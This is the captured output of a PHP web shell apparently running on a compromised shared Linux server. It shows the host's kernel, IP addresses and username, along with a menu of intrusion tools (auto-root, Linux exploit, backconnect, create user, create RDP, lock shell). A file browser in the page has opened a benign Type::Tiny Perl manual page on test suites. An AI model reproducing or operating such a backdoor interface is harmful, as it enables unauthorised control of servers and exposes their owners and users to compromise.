Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Type /
Tiny /
Manual /
[ HOME SHELL ]
Name
Size
Permission
Action
AllTypes.pod
7.84
KB
-rw-r--r--
Coercions.pod
12.81
KB
-rw-r--r--
Contributing.pod
2.86
KB
-rw-r--r--
Installation.pod
4.75
KB
-rw-r--r--
Libraries.pod
14.02
KB
-rw-r--r--
NonOO.pod
3.34
KB
-rw-r--r--
Optimization.pod
8.76
KB
-rw-r--r--
Params.pod
8.12
KB
-rw-r--r--
Policies.pod
4.05
KB
-rw-r--r--
UsingWithClassTiny.pod
4.16
KB
-rw-r--r--
UsingWithMoo.pod
25.38
KB
-rw-r--r--
UsingWithMoo2.pod
10.63
KB
-rw-r--r--
UsingWithMoo3.pod
9.26
KB
-rw-r--r--
UsingWithMoose.pod
6.11
KB
-rw-r--r--
UsingWithMouse.pod
6.53
KB
-rw-r--r--
UsingWithOther.pod
4.32
KB
-rw-r--r--
UsingWithTestMore.pod
2.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UsingWithTestMore.pod
=pod =encoding utf-8 =head1 NAME Type::Tiny::Manual::UsingWithTestMore - Type::Tiny for test suites =head1 MANUAL =head2 Test::TypeTiny This is a module for testing that types you've defined accept and reject the values you think they should. should_pass($value, $type); should_fail($othervalue, $type); Easy. (But yeah, I always forget whether the type goes first or second!) There's also a function to test that subtype/supertype relationships are working okay. ok_subtype($type, @subtypes); Of course you can just check a type like this: ok( $type->check($value) ); But the advantage of C<should_pass> is that if the C<EXTENDED_TESTING> environment variable is set to true, C<should_pass> will also perform a strict check on the value, which involves climbing up the type's inheritance tree (its parent, its parent's parent, etc) to make sure the value passes all their constraints. If a normal check and strict check differ, this is usually a problem in the inlining code somewhere. See L<Test::TypeTiny> for more information. =head2 Type::Tiny as a Replacement for Test::Deep Here's one of the examples from the Test::Deep documentation: my $name_re = re('^(Mr|Mrs|Miss) \w+ \w+$'); cmp_deeply( $person, { Name => $name_re, Phone => re('^0d{6}$'), ChildNames => array_each($name_re) }, "person ok" ); It's pretty easy to rewrite this to use Types::Standard: my $name = StrMatch[ qr/^(Mr|Mrs|Miss) \w+ \w+$/ ]; should_pass( $person, Dict[ Name => $name, Phone => StrMatch[ qr/^0d{6}$/ ], ChildNames => ArrayRef[$name] ] ); There's nothing especially wrong with L<Test::Deep>, but if you're already familiar with Type::Tiny's built-in types and you've maybe written your own type libraries too, it will save you having to switch between using two separate systems of checks. =head1 NEXT STEPS Here's your next step: =over =item * L<Type::Tiny::Manual::Params> Advanced information on Type::Params, and using Type::Tiny with other signature modules like Function::Parameters and Kavorka. =back =head1 AUTHOR Toby Inkster E<lt>tobyink@cpan.orgE<gt>. =head1 COPYRIGHT AND LICENCE This software is copyright (c) 2013-2014, 2017-2021 by Toby Inkster. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =head1 DISCLAIMER OF WARRANTIES THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. =cut
Close